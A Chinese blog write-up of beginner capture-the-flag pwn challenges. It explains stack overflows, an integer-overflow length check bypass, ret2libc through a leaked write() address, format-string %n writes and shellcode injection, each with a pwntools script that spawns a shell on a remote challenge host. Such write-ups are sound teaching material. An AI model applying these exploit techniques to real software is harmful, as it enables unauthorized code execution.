Pwn-Exercise area

1.guess_num

用checksec查看文件属性:

用64位的IDA打开:

因为gets()函数不受输入限制可能会覆写掉栈中的返回地址,造成缓冲区溢出,因此在这利用gets函数
进入main函数的栈空间:

可见var_30(也就是v7)占0x30个字节,并且当var_30溢出时可覆盖seed。

关于随机数的产生:http://c.biancheng.net/view/2043.html

在这里我们需要知道,rand()函数根据种子即seed产生随机数,当种子相同时,获得的随机数也相同。对于该题目,我们将随机种子设置为0或1都可,参考文件中的循环来写脚本。

关于ldd命令:https://www.cnblogs.com/wanghetao/p/3779611.html

ldd命令用于判断某个可执行的 binary 档案含有什么动态函式库,本题使用方法:
ldd guess_num

关于ctypes:https://blog.csdn.net/mfq1219/article/details/81945448

ctypes是Python的一个外部库,提供和C语言兼容的数据类型,可以很方便地调用DLL中输出的C接口函数
加载dll和取出函数:

from ctypes import *   
dll = cdll.LoadLibrary(dllpath)   #dllpath是字符串
exp:
from pwn import *
from ctypes import *

payload = 'a' * 0x20 + p64(1)
io = remote('111.198.29.45',57873)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil('Your name:')
io.sendline(playload)
libc.srand(1)
for i in range(10):
    num = str(libc.rand()%6 + 1)
    io.recvuntil('number:')
    io.sendline(num)
io.interactive()

参考:https://www.jianshu.com/p/0bc6c65addfd

2.int_overflow

用checksec查看文件属性:

没有开启Canary(栈保护),可以利用栈溢出漏洞
用32位的IDA打开,F5查看源码:
进入主函数

通过代码,容易分析出程序执行过程,再进入login()函数

可见通过read()函数可输入一个长度为0x199的buf(即password),再进入check_passwd()函数

此时定义了一个无符号的整型v3来存储password的长度,v3为一个字节,即8bit。但0x199的二进制位数明显超过了8位,故在这里可能存在整数溢出

关于整数溢出:整型变量有规定的有效数据长度,当它的数据长度超过其有效数据长度时,超过的部分就产生溢出,溢出的部分则直接忽略。

常见各类整型占用字节数及取值范围:

C语言中各个数据类型所能表示的数都是有一定的取值范围的,一旦要表示的数超出了该数据类型的取值范围,就会从起点开始重新计数

在本题中,程序规定输入的password长度必须在3~8之间,否者视为无效输入。但由整型溢出原理可知,我们输入的password长度如果在259~264之间也可通过if语句,因为:

超过8位的数据将被忽略,即将259赋值给v3时,v3的值为3
通过if语句之后,会将password拷贝给dest,进入dest的栈空间

dest的大小为0x14,当password的大小超过0x14后皆可覆盖后面的ebp和返回地址,又发现Functions Window里一个特殊的函数

所以可将strcpy()的返回地址覆盖为what_is_this()函数的返回地址,即可得到flag
这里我们password的长度就选取262(259~264之间任意一个数都可以)
dest的长度为0x14,ebp占4个字节,what_is_this()函数的返回地址占四个字节,故剩余字节数为:262-0x14-4-4=234

exp
from pwn import *

elf = ELF('./int_overflow')

io = remote('111.198.29.45',48464)

#io.recvuntil("Your choice:")

#io.sendline("1")

io.sendlineafter("Your choice:","1")

io.sendlineafter("username:","yh")

cat_flag_addr = elf.symbols['what_is_this']

#cat_flag_addr = 0x08048694

payload = 'a' * 0x14 + 'aaaa' + p32(cat_flag_addr) + 234 * 'a'

io.sendlineafter("passwd:",payload)

io.interactive()

参考:
http://www.sohu.com/a/340938352_120054144
https://www.52pojie.cn/thread-1032448-1-1.html

3.when_did_you_born

用checksec查看文件属性:

开启了Canary,则无法用覆盖返回地址的方法了
用64位的IDA打开

程序要求我们分别输入生日和姓名,并且生日不能为1926,但在我们输入姓名之后,如果生日为1926才会输出flag,这就与前面的要求矛盾了
进入main()函数的栈空间看一看

可见我们可以通过var_20数据的溢出来覆盖var_18的值,这样我们输入名字的时候就可以重新修改生日为1926,通过下面的if语句输出flag了。由栈空间变量的分布可知var_20占8个字节,超过这个长度即可以覆盖var_18的值了
并且在名字输入时,采用的函数为gets(),可以进行溢出

注:gets()不检查字符串string的大小,必须遇到换行符或文件结尾才会结束输入,因此容易造成缓存溢出的安全性问题,导致程序崩溃,可以使用fgets()代替。
exp:
from pwn import *

io = remote("111.198.29.45",46596)

io.recvuntil("What's Your Birth?")

io.sendline("2000.1.1")

io.recvuntil("What's Your Name?")

payload = 'a' * 8 + p64(1926)

io.sendline(payload)

io.interactive()

4.cgpwn2

用checksec查看文件属性:

运行一下:


使用32位的IDA打开,F5反汇编结果如下:

进入hello()函数,前面一大段代码似乎没有什么作用,看最后几句:

gets()函数可能造成溢出,并且查看到这个程序有system函数

则可以利用gets函数溢出覆盖修改返回地址为system函数的地址,但是这个system还缺参数"/bin/sh",因此需要我们自己传入这个参数

双击这里的name进入IDA View-A窗口,可以发现name是储存在bbs段中的全局变量,那我就可以将"/bin/sh"写入name中,将name的地址作为system的参数传入
进入hello函数栈空间,可发现s占26个字节,则还需4个字节覆盖ebp

构造的覆盖数据组成为:变量s所占字节+ebp+system函数地址+system函数返回地址+"/bin/sh"参数地址
exp:

from pwn import * 
io = remote("111.198.29.45",56568)
#io = process("./cgpwn2")
elf = ELF('./cgpwn2')
bin_sh_addr = 0x0804A080
sys_addr = elf.symbols['system']
io.recvuntil("your name")
io.sendline("/bin/sh")
io.recvuntil("here:")
payload = 'a' * (0x26 + 0x4) + p32(sys_addr) + 'a' * 4 + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()

5.hello_pwn

用checksec查看文件属性并运行一下:

再使用64位的IDA打开,F5反汇编查看伪代码

进入if语句里的函数看看:

可见,只要dword_60106C == 1853186401这个条件成立,即可得到flag
进入IDA View-A 发现dword_60106C与unk_601068相隔4个字节,则构造这样的unk_601068:'a'*4+1853186401,即可将dword_60106C覆盖为1853186401

exp:
from pwn import *
r = remote('111.198.29.45',49875)
playload = 'a'*4 + p64(1853186401)
r.recvuntil("lets get helloworld for bof")
r.sendline(playload)
r.interactive()

6.leve2

用checksec查看文件属性并运行一下:

使用32位的IDA打开,F5反汇编main函数:

进入vnlnerable_function()看看:

再使用Shift+F12查看字符串窗口,也看见"/bin/sh",解题思路如下:
通过read()函数读入数据,构造一个system("/bin/sh")的伪栈帧,vulnerable_function()执行结束后返回到我们构造的伪栈帧去执行system("bin/sh"),这样就可以获取shell。

exp:
from pwn import *

context.log_level = "debug"

elf = ELF('./level2')

sys_addr = elf.symbols['system'] 

sh_addr = elf.search('/bin/sh').next()

playload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0)+ p32(sh_addr)

io = remote('111.198.29.45',35505)

io.sendline(playload)

io.interactive()

7.leve3

用checksec查看文件属性并运行一下:

用32位的IDA打开,F5反汇编main()函数查看伪代码

进入vnlnerable_function()函数中

存在read()函数,可以进行溢出,但是查看函数窗口和字符串窗口,既无system函数也无/bin/sh字符串


但是存在可以溢出的read函数与write()函数,可以用来泄露出system函数与/bin/sh字符串的地址

关于write()函数:

因为libc中的函数的相对地址是固定的,并且在知道libc的版本后各个函数在其中的相对位置就可以得到。
则需要泄露出write()函数的相对地址再减去write()函数在libc中的偏移量即可得到libc的基地址,得到了libc的基地址,再加上system()函数和"/bin/sh"字符串在libc中的偏移量即可得到它们在的相对位置(在程序中调用使用的是相对位置)

关于GOT表和PLT表:https://www.jianshu.com/p/f9189b8bf183

exp

1.利用LibcSearcher

#-*-coding:utf-8-*-
from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib

context.terminal = ['gnome-terminal','-x','sh','-c']
sh = remote('111.198.29.45',53647)
elf = ELF('./level3')

write_plt = elf.plt['write'] #获取plt表中write的地址
write_got = elf.got['write'] #获取got表中write的地址
vuln = 0x0804844B
print "write_plt = ",hex(write_plt) #分别将plt表中write的地址和vnlnerable()函数的地址打印出来
print "vuln = ",hex(vuln)

print "leak write_addr and return to vnlnerable function again"
payload = ''
payload += 140 * 'a' #覆盖read中的buf和ebp
payload += p32(write_plt) #plt表中write的地址填入read()函数的返回地址
payload += p32(vuln) #将vnlnerable()函数的地址作为write()函数的返回地址
payload += p32(1) + p32(write_got) + p32(4) #作为write函数的参数,用于泄露write函数的地址

sh.sendlineafter(':\n',payload)

print "get the related address"
write_addr = u32(sh.recv(4))
print "write_addr = ",hex(write_addr)
libc = LibcSearcher('write',write_addr) #根据泄露的地址,寻找到对应的libc版本
libcbase = write_addr - libc.dump('write') #用write函数的相对地址减去在libc中对应的偏移量得到libc的基地址
system_addr = libcbase + libc.dump('system') #用system函数在libc中的偏移量加上libc的基地址得到system函数的地址
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "libcbase = ",hex(libcbase)
print "system_addr = ",hex(system_addr)
print "binsh_addr = ",hex(binsh_addr)

payload = ''
payload += 'a' * 140
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)

sh.sendline(payload)
sh.interactive()

2.直接使用题目给出的libc版本

#-*-coding:utf-8-*-
from pwn import *

sh = remote('111.198.29.45',53647)
elf = ELF('./level3')
libc = ELF('./libc_32.so.6')

write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = elf.symbols['vulnerable_function']

payload = 'a' * 140 + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)
sh.sendlineafter("Input:\n",payload)

write_got_addr = u32(sh.recv(4))
print 'write_got address is ',hex(write_got_addr)
libc_addr = write_got_addr - libc.symbols['write']
print 'libc_addr is ',hex(libc_addr)
system_addr = libc_addr + libc.symbols['system']
print 'system address is ',hex(system_addr)
binsh_addr = libc_addr + 0x15902B #0x15902b是"/bin/sh"在libc中的地址
# hex(libc.search("/bin/sh").next()) = 0x15902B
print '/bin/sh address is ',hex(binsh_addr)

payload = 'a' * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()

参考:https://www.52pojie.cn/thread-1032651-1-1.html

8.CGfsb

用checksec查看文件属性并运行一下:

使用32位IDA打开,点击main()函数F5查看伪代码:

可以发现如果pwnme=8,则可得到flag,双击pwnme,进入IDA View-A

发现pwnme是储存在bbs段的全局变量,地址为:0804A068。并且该程序没有开启PIE保护,则pwnme的地址不会发生改变

PIE:全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题

箭头处存在字符串格式化漏洞,可以利用这个来修改pwnme的值

可以发现s在栈中的偏移量位10

exp

from pwn import *

sh = remote('111.198.29.45',44004)
pwnme_addr = 0x0804A068
sh.sendlineafter('name:','yh')

payload = p32(pwnme_addr) + 'aaaa%10$n'  #p32(pwnme)占4字节,因此还需要4字节,才能满足8个字节
sh.sendlineafter('please:',payload)
sh.interactive()

几点补充的知识:
①%x是输出16进制数据,08表示宽度为8,不足8为左边按0补齐
②%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置
③%K$n:其中的K表示对第几个参数进行相应操作

参考:http://winny.work/%e4%b8%80%e7%af%87%e6%96%87%e7%ab%a0%e6%90%9e%e6%87%82%e6%a0%bc%e5%bc%8f%e5%8c%96%e5%ad%97%e7%ac%a6%e4%b8%b2%e6%bc%8f%e6%b4%9e/358.html

9.string

shellcode的生成方法:
https://blog.csdn.net/qq_35495684/article/details/79583232

exp:

#encoding=utf-8
from pwn import *

context(arch = 'amd64', os = 'linux') #指明环境,为生成shellcode做准备
p = remote('111.198.29.45',32405)
p.recvuntil('secret[0] is ')
v3_addr=int(p.recv(7),16) #提取v4的地址,并且转化为16进制
#v3_addr=int(p.recvuntil('/n')[:-1],16) [:-1]用于去除末尾的/n

p.sendlineafter("What should your character's name be:","asd")
p.sendlineafter("So, where you will go?east or up?:","east")
p.sendlineafter("go into there(1), or leave(0)?:","1")
p.sendlineafter("'Give me an address'",str(v3_addr))

payload = "%85c%7$n" #format的偏移量为8,v2在format前面一位,因此偏移量为7
p.sendlineafter("And, you wish is:",payload)

shellcode = asm(shellcraft.sh())
p.sendlineafter('Wizard: I will help you! USE YOU SPELL',shellcode)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,907评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,987评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,298评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,586评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,633评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,488评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,275评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,176评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,619评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,819评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,932评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,655评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,265评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,871评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,994评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,095评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,884评论 2 354

推荐阅读更多精彩内容

  • 0x01 Start checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,...
    Nevv阅读 1,683评论 0 2
  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 3,255评论 0 6
  • 歇了很长一段时间,终于开始了我的攻防世界pwn之路。立一个flag:每日一题,只能多不能少。 0x00 dice_...
    Adam_0阅读 7,113评论 2 7
  • 最近在学蒸米的《一步一步学ROP之linux_x86篇》,内容写的很详细,个人学到了很多,但同时学的过程中也有很多...
    2mpossible阅读 1,515评论 0 5
  • 楔子 我姓何,名水清。是通州何府的大小姐。我的爹爹何文平是通州的知府。娘亲在我很小的时候就去世了,她是个温婉的女子...
    扶桑兮若华阅读 279评论 0 0